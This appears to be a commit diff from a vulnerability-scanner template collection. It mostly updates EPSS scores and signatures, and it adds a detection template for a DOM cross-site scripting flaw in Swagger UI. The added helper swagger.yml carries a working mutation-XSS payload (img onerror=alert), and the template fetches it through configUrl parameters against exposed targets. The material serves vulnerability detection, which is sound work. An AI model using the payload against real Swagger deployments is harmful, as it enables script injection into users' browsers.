     cpe: cpe:2.3:a:backdropcms:backdrop:*:*:*:*:*:*:*:*
   metadata:
@@ -186,4 +186,4 @@ headless:
         dsl:
           - reflected_text_xss_type
           - reflected_text_xss_message
-# digest: 4a0a00473045022100a5afa1435b236d15615599536490803e61d1c57bd159c9b2a6d7c074e3204e3302207728ec9bdeffa792d62a6f7de273d13f778a88f935ffbeefb406321f35b0d011:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b90b74395a05943022b84862855923ed3f0d4ebd88dae181f555ee333429af2d022016c375dd01704289bd1812300bd3573d66977fdad60d7e984566111ed7b7ffa6:922c64590222798bb761d5b6d8e72950

headless/cves/2025/CVE-2025-8191.yaml

@@ -0,0 +1,68 @@
+id: CVE-2025-8191
+
+info:
+  name: Swagger UI >=3.14.1 < 3.38.0 - DOM Based Cross-Site Scripting
+  author: DhiyaneshDK
+  severity: medium
+  description: |
+    Swagger UI versions 3.14.1 through 3.37.x are vulnerable to DOM-based Cross-Site Scripting (XSS) attacks. The vulnerability occurs when processing malicious configuration URLs that contain XSS payloads in the Swagger specification. An attacker can craft a malicious configUrl parameter that, when processed by Swagger UI, executes arbitrary JavaScript code in the victim's browser context.
+  reference:
+    - https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-8191
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2025-8191
+    cwe-id: CWE-79
+    epss-score: 0.00123
+    epss-percentile: 0.47832
+    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: smartbear
+    product: swagger_ui
+    shodan-query:
+      - http.component:"Swagger"
+      - http.component:"swagger"
+      - http.favicon.hash:"-1180440057"
+    fofa-query: icon_hash="-1180440057"
+    zoomeye-query: app:"Swagger UI"
+  tags: cve,cve2025,headless,swagger,xss,smartbear,dom-xss
+
+headless:
+  - steps:
+      - args:
+          url: '{{BaseURL}}/{{swagger_path}}'
+        action: navigate
+
+      - action: waitdialog
+        name: swagger_dom
+
+    payloads:
+      swagger_path:
+        - 'swagger/index.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger/index.html?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger-ui.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger-ui.html?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger-ui/index.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger-ui/index.html?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'api-docs?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'docs?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - '?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - '?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'open-api/swagger-ui.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - swagger_dom == true
+
+      - type: word
+        part: body
+        words:
+          - "swagger"
+        case-insensitive: true
+# digest: 4a0a00473045022100e2a4a3fed035f075e45d529f75afaffaa15181fa41c9748785999177f38e67680220766f028a5fb4bed8042fc56cef4af654f2760e1207a0246bbd11db1bf1e720f0:922c64590222798bb761d5b6d8e72950

helpers/payloads/swagger.json

@@ -0,0 +1,9 @@
+{
+  "url": "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.yml",
+  "urls": [
+      {
+          "url": "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.yml",
+          "name": "Account"
+      }
+  ]
+}

helpers/payloads/swagger.yml

@@ -0,0 +1,29 @@
+swagger: '2.0'
+info:
+  title: Classic API Resource Documentation
+  description: |
+    <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert('textarea') src=1>"></form>
+
+paths:
+  /signin:
+    post:
+      parameters:
+        - name: Email
+          in: formData
+          required: true
+          type: string
+        - name: password
+          in: formData
+          required: true
+          type: string
+        - name: token
+          in: formData
+          required: true
+          type: string
+      responses:
+        '200':
+          description: Success Request
+      tags:
+        - signin
+      operationId: Signin
+      summary: Signin

http/cves/2000/CVE-2000-0114.yaml

@@ -19,7 +19,7 @@ info:
     cvss-score: 5
     cve-id: CVE-2000-0114
     cwe-id: NVD-CWE-Other
-    epss-score: 0.02800
+    epss-score: 0.02967
     epss-percentile: 0.85545
     cpe: cpe:2.3:a:microsoft:internet_information_server:3.0:*:*:*:*:*:*:*
   metadata:
@@ -44,4 +44,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100f3a5e5052ec9628797b4a0195dc7dfdc41d8d4add40fcf444f5dd76289e248f60220663ea447f80771112856ef24f2e881f00c892440d3dbd1f627336ac9f72dd5b3:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205f1e2e9658b4b5031f4e0de671b50bb742ac3a33a72373771a436a06aa34dd7b02204f75b2cdd3eaac2623232db2cfab38cc344644a6f56dc7dc76869e055b0d93cc:922c64590222798bb761d5b6d8e72950

http/cves/2000/CVE-2000-0760.yaml

@@ -9,6 +9,8 @@ info:
   reference:
     - https://vulners.com/nessus/TOMCAT_SNOOP.NASL
     - https://nvd.nist.gov/vuln/detail/CVE-2000-0760
+  classification:
+    epss-score: 0.37735
   metadata:
     max-request: 1
     verified: true
@@ -35,4 +37,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100c38ec76668a3b46cd038ee246cfd6ca32bfba0d9a85eb247b0d1003e0970dd5202206e604cbc55d2f11ae55b78a3b13f582c932fb0b9bee09abdfe6e0f549d576b25:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210099c180c67ea3f15d6ee54ffceb98560b1a0fae475e859ad38e9baa02759da412022037f4661740b4315fb66b4a69c8831c7f22838f9fbaab9288aaeefb9d7e5a06ef:922c64590222798bb761d5b6d8e72950

http/cves/2004/CVE-2004-0519.yaml

@@ -19,7 +19,7 @@ info:
     cvss-score: 6.8
     cve-id: CVE-2004-0519
     cwe-id: NVD-CWE-Other
-    epss-score: 0.00186
+    epss-score: 0.00124
     epss-percentile: 0.40980
     cpe: cpe:2.3:a:sgi:propack:3.0:*:*:*:*:*:*:*
   metadata:
@@ -48,4 +48,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a0048304602210088c29bd8341924dee96550f25c070c64b3ffbcdd4263658f6bedb37286c495e0022100bbaa969fc39a95abbf72a528b6fa73666362ac3af1d7ed94a39f972065c2edd7:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204ae398fa41f69cd70d689e0d4c8e2ba89ffc9c7ba705ba252856fc4b6a599861022013184dcf58f3c3800a5b0fc4d91c163f196088b015906ca3156b9a4a430851c8:922c64590222798bb761d5b6d8e72950

http/cves/2005/CVE-2005-2428.yaml

@@ -19,7 +19,7 @@ info:
     cvss-score: 5
     cve-id: CVE-2005-2428
     cwe-id: CWE-200
-    epss-score: 0.07654
+    epss-score: 0.07065
     epss-percentile: 0.91483
     cpe: cpe:2.3:a:ibm:lotus_domino:5.0:*:*:*:*:*:*:*
   metadata:
@@ -44,4 +44,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100886ef721c95f20e2e899cabd7a5d1f28af25ad28f3e5b127ac105501debc964802200fb26d3c4ca946bcba55ad4cad10fa0b537a7c4a6bef1414002696a4dd71e120:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c1265840b66bbc938087fbd3f02bcf43b1f2eef0511818f481d30e2bdb483e1e02203292624c4ae219fe3cc801c8240411f1aa002d829c6f03cd7e33e7435c3724b5:922c64590222798bb761d5b6d8e72950

http/cves/2005/CVE-2005-3344.yaml

@@ -20,7 +20,7 @@ info:
     cvss-score: 10
     cve-id: CVE-2005-3344
     cwe-id: NVD-CWE-Other
-    epss-score: 0.10150
+    epss-score: 0.1015
     epss-percentile: 0.92789
     cpe: cpe:2.3:a:horde:horde:3.0.4:*:*:*:*:*:*:*
   metadata:
@@ -47,4 +47,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100eba37eb777f79438aa34370ec751417489fbdc27c9875b321dde0806ee141c3c022100e4b5f28d965fe4a0ab5489be0f19ba8552ee0a0c57405cea8348b327540bafdb:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220245a2dd8d4bc65c9fdbcce5d9fd6e4d929ed1104273b31c0167e08a24aedb1f1022074746b0fd493ee75446bbb3c390fcd761d35280da8d20ddae168a3369d088883:922c64590222798bb761d5b6d8e72950

http/cves/2005/CVE-2005-3634.yaml

@@ -22,7 +22,7 @@ info:
     cvss-score: 5
     cve-id: CVE-2005-3634
     cwe-id: NVD-CWE-Other
-    epss-score: 0.02140
+    epss-score: 0.0214
     epss-percentile: 0.83500
     cpe: cpe:2.3:a:sap:sap_web_application_server:6.10:*:*:*:*:*:*:*
   metadata:
@@ -45,4 +45,4 @@ http:
         part: header
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
-# digest: 490a0046304402200a71076886733b957fe5ec2af43ca20c0bfcc4ef985474b7ac410b79ca19484c02206e7e5345f20a65009ae13dfddbf68937b6ff4503819bf72dc92b83bd25ddf504:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008f6a5d863c2ee33f47572eb814fdea7b2197e5f03bbca14347e76a0a7ff35735022100ea64b95fdf0f03922e9d91bee058f1c318afbf4f22d340cdf0eb9c46fd6f03ff:922c64590222798bb761d5b6d8e72950

http/cves/2005/CVE-2005-4385.yaml

@@ -19,7 +19,7 @@ info:
     cvss-score: 4.3
     cve-id: CVE-2005-4385
     cwe-id: NVD-CWE-Other
-    epss-score: 0.00220
+    epss-score: 0.00231
     epss-percentile: 0.44836
     cpe: cpe:2.3:a:cofax:cofax:1.9.9c:*:*:*:*:*:*:*
   metadata:
@@ -43,4 +43,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a00463044022024de6f73185416c516398c724d12c4d7c3a27a26eafeda6c7c0a6e8f9db7709b02200bc9af502bb74e5ea36d4be547983c9714da9047b734277bee72b8d8d48fc2e0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c08cf9bf71df90890d63d5cba93fa26b47158a3a05ca2fb4aa27abffc35bf935022031c230d7ebbde2adb2ce67f1e66b4dd8e2c2bff3a34e23e4929b7ac0e2dc0304:922c64590222798bb761d5b6d8e72950

http/cves/2006/CVE-2006-2842.yaml

@@ -20,7 +20,7 @@ info:
     cvss-score: 7.5
     cve-id: CVE-2006-2842
     cwe-id: CWE-22
-    epss-score: 0.00909
+    epss-score: 0.0094
     epss-percentile: 0.74870
     cpe: cpe:2.3:a:squirrelmail:squirrelmail:*:*:*:*:*:*:*:*
   metadata:
@@ -48,4 +48,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a004630440220356f2985899529b7495f141c558373414b15e565771f883f2309fdde8f57ffde022039f993cdd57a00c0e67428bd815efc6c6169f6ee204dc62b533d1fe285e4bc5b:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008fe0dc506204ac3a7809306e4a70b6f2cb9cfb9099edc296c1133b3df2a0b491022100fad1e5b5ae35a53390e055290f744c5a4a383f9c37d07e68856b88dd69989fcb:922c64590222798bb761d5b6d8e72950

http/cves/2007/CVE-2007-2449.yaml

@@ -13,7 +13,7 @@ info:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
     cvss-score: 7.2
     cwe-id: CWE-79
-    epss-score: 0.89189
+    epss-score: 0.83233
     epss-percentile: 0.99515
   metadata:
     max-request: 1
@@ -43,4 +43,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a004730450221009b7ce2019233a1a4dab78f26dfa982683e34e9343e5149b17c4c7aeecb0e3c20022022448fad5fe11b5054733f026bf42e3ddcfcda5a781695de364556a9e2e4cb29:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d9e4e47cb2e2031ba7c2e73907100bf7d8f3cdc6074879c85c351c2e30e19766022100923791610ea61a181ae7522232e999d5c6a3d3da4770d972689b1a393305fe50:922c64590222798bb761d5b6d8e72950

http/cves/2007/CVE-2007-3010.yaml

@@ -21,7 +21,7 @@ info:
     cvss-score: 10
     cve-id: CVE-2007-3010
     cwe-id: CWE-20
-    epss-score: 0.94065
+    epss-score: 0.94007
     epss-percentile: 0.99890
     cpe: cpe:2.3:a:alcatel-lucent:omnipcx:7.1:*:enterprise:*:*:*:*:*
   metadata:
@@ -59,4 +59,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100e049d9b1ddd06ff9d586414191f3665d44e3b3f29a4913cd653bbb0ba421867102203a976db1a2bc56b625c5d3b935986718a09b7b5f8daa714df1930eca654e96d7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b4ea32828db6e93a4397c2861ea59dad773d7ef36f16ac0b082f329c2065f63c02204e2db78bedbb914ef75bc5ad4e1b2511db66fcfc3fb27666b5d9c96cb0c11d00:922c64590222798bb761d5b6d8e72950

http/cves/2007/CVE-2007-4504.yaml

@@ -19,7 +19,7 @@ info:
     cvss-score: 5
     cve-id: CVE-2007-4504
     cwe-id: CWE-22
-    epss-score: 0.00063
+    epss-score: 0.0006
     epss-percentile: 0.19921
     cpe: cpe:2.3:a:joomla:rsfiles:*:*:*:*:*:*:*:*
   metadata:
@@ -42,4 +42,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100e3cb5319977a6a9d76783a9fd6f4dceaedd3048dcd4fbc4df1b05d074ba63609022100d7df5632a9677a5221468b759e0e976b30942f574994ce636e97bf3d7a3b76f7:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100fe15d8208006e113d99ecf5f7b5e38ec42c58622d3f67cad06dad850aaf94333022100bddfd712a6e6ac6fc735a508f8c159d322770d70aa4ba6699b2b142574caed8f:922c64590222798bb761d5b6d8e72950

http/cves/2007/CVE-2007-5728.yaml

@@ -20,7 +20,7 @@ info:
     cvss-score: 4.3
     cve-id: CVE-2007-5728
     cwe-id: CWE-79
-    epss-score: 0.00282
+    epss-score: 0.00457
     epss-percentile: 0.51310
     cpe: cpe:2.3:a:phppgadmin:phppgadmin:3.5:*:*:*:*:*:*:*
   metadata:
@@ -57,4 +57,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022029b04d7527b85b77f305198f89b79b67231232e1f15d63e0123b7670955a8b04022100b05129b789e371c3992e80ecd582b120ab1bce2e0b682ee885907f0837fef3c0:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022024cf56006b807e276377fd36fb437d63b17939be0ec9b7a75116c66f0d0a822b02206451ddcf2caef2947d0854ac7540b364ccfeab891f42452c78b6097b63ba073e:922c64590222798bb761d5b6d8e72950

http/cves/2008/CVE-2008-2398.yaml

@@ -18,7 +18,7 @@ info:
     cvss-score: 4.3
     cve-id: CVE-2008-2398
     cwe-id: CWE-79
-    epss-score: 0.00831
+    epss-score: 0.00764
     epss-percentile: 0.73651
     cpe: cpe:2.3:a:appserv_open_project:appserv:*:*:*:*:*:*:*:*
   metadata:
@@ -47,4 +47,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a00463044022036afde93383e45ddae2d39d1c8493aa45346c0fc49397ec75e0fca7016051fbe022071edecdf81f559646264142636cfbb6d67e1848306dd44d211a1efb08db7d39f:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008ec3e522097f06d84c09b35e60dbe266ccd7e68cb5325bafe5bed8ff4727157e022100f0ae8e0997a42c36fab50820607de58b11e6b5957e7cbdb196a7db30d8b254b7:922c64590222798bb761d5b6d8e72950

http/cves/2008/CVE-2008-2650.yaml

@@ -21,7 +21,7 @@ info:
     cvss-score: 6.8
     cve-id: CVE-2008-2650
     cwe-id: CWE-22
-    epss-score: 0.03520
+    epss-score: 0.0352
     epss-percentile: 0.87196
     cpe: cpe:2.3:a:cmsimple:cmsimple:3.1:*:*:*:*:*:*:*
   metadata:
@@ -48,4 +48,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502203ee4722b9bc3f86d13f492fe8f28c7e9240cff0e9254d3c44bc584772ebfe3a6022100c4a3dbd47dcb2edd116be32239f4f0846e7aa1e6ed546863ee6d1112d1d1498b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206cf309613104f4063640621cdc6ac76a8b1ebf4aa6e2398e29f16dc10576ec7f022100bda95259a430056547282e1978bf98df463fe215395f1f6a055fb69e275f9fca:922c64590222798bb761d5b6d8e72950

http/cves/2008/CVE-2008-4668.yaml

@@ -20,7 +20,7 @@ info:
     cvss-score: 9
     cve-id: CVE-2008-4668
     cwe-id: CWE-22
-    epss-score: 0.00276
+    epss-score: 0.00268
     epss-percentile: 0.50824
     cpe: cpe:2.3:a:joomla:com_imagebrowser:0.1.5:*:*:*:*:*:*:*
   metadata:
@@ -43,4 +43,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a004730450220552fc4231924e143d1c6017e328fe5867c9cf8cd112849abc81079797a27df51022100f5572d7e467882078a33cb8324fc369c5f08f8af804b5b468726c544c1729967:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cfc9e1d33955d2db814e69e5e756850a27e89ffac1da93d06eadf29d1985062e02200d6d472180b55ad8eeee0852af45275e3ffeba650fd839902c5c753d1c77b671:922c64590222798bb761d5b6d8e72950

http/cves/2008/CVE-2008-6080.yaml

@@ -19,7 +19,7 @@ info:
     cvss-score: 5
     cve-id: CVE-2008-6080
     cwe-id: CWE-22
-    epss-score: 0.06300
+    epss-score: 0.063
     epss-percentile: 0.90534
     cpe: cpe:2.3:a:codecall:com_ionfiles:4.4.2:*:*:*:*:*:*:*
   metadata:
@@ -42,4 +42,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502207cab7f188986068ae71ebe05bdd580aa7607d10c89d214bde7f41f92805b1466022100f913822c3f037833c41d0114859f633f2cfeb08440ab0d1494035a7f691ee048:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c3dcae9a53e7bd42a5d48f1b8c47dae32d5a06d6936d91fdd162b104ecf8c95e02202d687acf24034fcc228576a9a591f518f303c0f386b1796a5daf99511bc23334:922c64590222798bb761d5b6d8e72950

http/cves/2008/CVE-2008-6222.yaml

@@ -19,7 +19,7 @@ info:
     cvss-score: 5
     cve-id: CVE-2008-6222
     cwe-id: CWE-22
-    epss-score: 0.01954
+    epss-score: 0.01649
     epss-percentile: 0.82681
     cpe: cpe:2.3:a:joomlashowroom:pro_desk_support_center:1.0:*:*:*:*:*:*:*
   metadata:
@@ -42,4 +42,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a0046304402203d956ac5c3c7b38c803d4b254b97f948f0aca8881d9455716bfb24cd79d459ec022056546cffa9dca77d3c60a3e68d3a5288d07c9b1ce756435aa99eff2ef55089b8:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022004ea26a7a9c9ae2ab3e838faf7ec3b5b86f50d4ab9848a816bd53a142bec9749022100b6269eb1fc86eff26400bb3e5f7700e320f269e599ca407a3d16d81c04d7918b:922c64590222798bb761d5b6d8e72950

http/cves/2008/CVE-2008-6465.yaml

@@ -21,7 +21,7 @@ info:
     cvss-score: 4.3
     cve-id: CVE-2008-6465
     cwe-id: CWE-79
-    epss-score: 0.00946
+    epss-score: 0.01157
     epss-percentile: 0.75387
     cpe: cpe:2.3:a:parallels:h-sphere:3.0.0:p9:*:*:*:*:*:*
   metadata:
@@ -63,4 +63,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100a8ddacfdb460740bcabd58529a78bc158aeabeff9c8ef5fd2db0d66963578e14022100993afa3340dd4699cdbfc50fcfa058be309cdd1ad10e82e82b4667b14bd21d63:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022041b9257b5bd5628030be58e1edcbdfcda9dcc70d538f4acdb683cde345153490022004e92280a5ba33c7edc8ef0a11ed86943759bceb47d4277e6c37730b483217e0:922c64590222798bb761d5b6d8e72950

http/cves/2009/CVE-2009-0347.yaml

@@ -21,7 +21,7 @@ info:
     cvss-score: 5.8
     cve-id: CVE-2009-0347
     cwe-id: CWE-59
-    epss-score: 0.00975
+    epss-score: 0.03639
     epss-percentile: 0.75768
     cpe: cpe:2.3:a:autonomy:ultraseek:_nil_:*:*:*:*:*:*:*
   metadata:
@@ -40,4 +40,4 @@ http:
         part: header
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:http?://|//)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
-# digest: 4b0a00483046022100c9794f93c6e8255cbc05e717a1174209e8568781c4f10dc5ce4892990b266e87022100e536d16ecf17c1a53b9040ecf633c6eaa299073dae46959386f0968c47e3862d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022037fae629b878386bf90b0e8ee68ac88724fda2580b3aafbf75177ed8cad2122b022100f245301564969ae7a8a98753cfc70ecd9fd0da26015febca1e753dcbd50e2ed2:922c64590222798bb761d5b6d8e72950

http/cves/2009/CVE-2009-0932.yaml

@@ -20,7 +20,7 @@ info:
     cvss-score: 6.4
     cve-id: CVE-2009-0932
     cwe-id: CWE-22
-    epss-score: 0.02929
+    epss-score: 0.05612
     epss-percentile: 0.85882
     cpe: cpe:2.3:a:debian:horde:3.2:*:*:*:*:*:*:*
   metadata:
@@ -43,4 +43,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100fa7a7599a9aed841b58a95abd16a3b6dd2d5c9afde444fb5362f3fe7b817d51a022061bf65ba2c58981cc2ba509e4435e0c1f9761b24409d28a327fcca15b9b0f5f0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100be6e47c26b931add067f2e02c8d58dc5369135f3e54a5ecea0badcef7713210b022064d3dda047863eea37beedb95097f2815b35c9b29f2113109d9ac18069f904b7:922c64590222798bb761d5b6d8e72950

http/cves/2009/CVE-2009-1151.yaml

@@ -20,7 +20,7 @@ info:
     cvss-score: 7.5
     cve-id: CVE-2009-1151
     cwe-id: CWE-94
-    epss-score: 0.93004
+    epss-score: 0.93032
     epss-percentile: 0.99772
     cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*
   metadata:
@@ -58,4 +58,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100ce354e3493b88815fc5798af69afadbd03ebe17ea03f55aa5e0b865c70faab2d02204e8bbe8d251434eb095b60ce48cdc76f7e8fae7fa1997a8f9b8d750a3658a1d2:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022074e409e038eee68bf2772c873664ba63ee34838d9b7a28e5b7125235b508a1a50220598f0a3dfbec59524ecda264e472a8bb8d00e4d81e2a588111c8398b7dd2485a:922c64590222798bb761d5b6d8e72950

http/cves/2009/CVE-2009-1872.yaml

@@ -20,7 +20,7 @@ info:
     cvss-score: 4.3
     cve-id: CVE-2009-1872
     cwe-id: CWE-79
-    epss-score: 0.15300
+    epss-score: 0.12
     epss-percentile: 0.94335
     cpe: cpe:2.3:a:adobe:coldfusion:*:*:*:*:*:*:*:*
   metadata:
@@ -59,4 +59,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022079339845518bcf9f965afee9485fb46d0823069a1de468b8284416dc610189de022100b5daa6e74fecb0dd3b4e932724402d1059dac68062b5c053b5eb6b4fdd3b300d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220678eab7565aa815d42c2f81dc82d936021df5a12a013a6e72ae996571fad811002210082ea5d9bbe37fec811c18f37eff655cb05bf215fb49ac6de3157c0ca42c51eda:922c64590222798bb761d5b6d8e72950

http/cves/2009/CVE-2009-2100.yaml

@@ -18,7 +18,7 @@ info:
     cvss-score: 5
     cve-id: CVE-2009-2100
     cwe-id: CWE-22
-    epss-score: 0.01710
+    epss-score: 0.01877
     epss-percentile: 0.81559
     cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:*
   metadata:
@@ -41,4 +41,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100e2e0e06f33d9ba2643fce9a45e4bf6e8ffc08fe3bc6704d74624117aedca6bc902202d10ce90cc5426c9f11ac78bb54882d5d48dfbe04f9a0cd7d4057dbbd434f81a:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022043361ea5d6f300ad2658ab18271d61adcb266367b4934f7ae4bc23e8050d0602022057a14a756c96238b7ebb66e9d855af9dfcd3b3b06b6fbddf2bb5c37741be4297:922c64590222798bb761d5b6d8e72950

http/cves/2009/CVE-2009-3053.yaml

@@ -20,7 +20,7 @@ info:
     cvss-score: 6.8
     cve-id: CVE-2009-3053
     cwe-id: CWE-22
-    epss-score: 0.06037
+    epss-score: 0.01573
     epss-percentile: 0.90330
     cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:*
   metadata:
@@ -43,4 +43,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100d81fa7d737e9e7ae1de4ec69de1920d04c6336b05c36bf18ad688e71b6ac3446022100f37702933431e2a05b2b5f3b4e33bcbba1daedfcbe1049482b21af5029ba4a68:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200b972654c86f3133ebe021c742eacb65da63c5a7e1e6a40d5c698626f3d2015c022100e8fa4b132f6aede71beb3c454cd2128a9cf4f4a621083b843dba3526b8ff72c1:922c64590222798bb761d5b6d8e72950

http/cves/2009/CVE-2009-4223.yaml

@@ -20,7 +20,7 @@ info:
     cvss-score: 7.5
     cve-id: CVE-2009-4223
     cwe-id: CWE-94
-    epss-score: 0.04140
+    epss-score: 0.04334
     epss-percentile: 0.88207
     cpe: cpe:2.3:a:gianni_tommasi:kr-php_web_content_server:*:beta_2:*:*:*:*:*:*
   metadata:
@@ -44,4 +44,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100e561dc69cb17c55e1d32c1361da502a4ed24c8150b429857df188970a3a705b3022100bdbfe1c6e2d4fcbef5aff74e2c66bd80bfeba4020c7c6886a3782e0e45382e04:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207258ab162b78d6d8cd49a89364d3ad162289a9597733a7f600bad997382ddf46022100d84e8640ebba0baaa38e95782fe4fe936e5ad963c19e6041a189c8c49bc38a94:922c64590222798bb761d5b6d8e72950

http/cves/2009/CVE-2009-5020.yaml

@@ -17,7 +17,7 @@ info:
     cvss-score: 5.8
     cve-id: CVE-2009-5020
     cwe-id: CWE-20
-    epss-score: 0.00826
+    epss-score: 0.01389
     epss-percentile: 0.73572
     cpe: cpe:2.3:a:awstats:awstats:*:*:*:*:*:*:*:*
   metadata:
@@ -39,4 +39,4 @@ http:
         part: header
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
-# digest: 4a0a00473045022100effbbb567e9b2d3402f1fe2f47be6a8b1d810c7d549ced4c2499ef55ee401964022014333065014916917c4332171f6e7681b3813e1c454dc586b899a19e6619087b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202aef040328e64e7c7e13821a3c190a00ca83e0e7f6b161f7c28fa686cdd643090221008b896962392338d05cb6a4bda781f59aab16b9acea00db67b44808428e2003e0:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-0157.yaml

@@ -18,7 +18,7 @@ info:
     cvss-score: 7.5
     cve-id: CVE-2010-0157
     cwe-id: CWE-22
-    epss-score: 0.04639
+    epss-score: 0.06147
     epss-percentile: 0.88873
     cpe: cpe:2.3:a:joomla:joomla\!:*:*:*:*:*:*:*:*
   metadata:
@@ -46,4 +46,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4b0a00483046022100ca7fdb7c8b24b7db2d7e793bfa70b0fcb8d7553830c841bf3612ef3b7171e2b0022100b3f0a12c66963f7c3a9808a92e784c76626634c018c339324d7286d00441dfe8:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207373acc933249d64b48cede672fd4ecfe9cf284f764ab0cb429158363217ca1c02204dcdd5d0e9e0f2d03d6459c63d30aa1be621f455afeab203b69a57edbfe602b8:922c64590222798bb761d5b6d8e72950

http/cves/2010/CVE-2010-0219.yaml

@@ -20,7 +20,7 @@ info:
     cvss-score: 10
     cve-id: CVE-2010-0219
     cwe-id: CWE-255
-    epss-score: 0.92029
+    epss-score: 0.93449
     epss-percentile: 0.99693
     cpe: cpe:2.3:a:apache:axis2:1.3:*:*:*:*:*:*:*
   metadata:
@@ -64,4 +64,4 @@ http:
       - type: status
         status:
           - 200
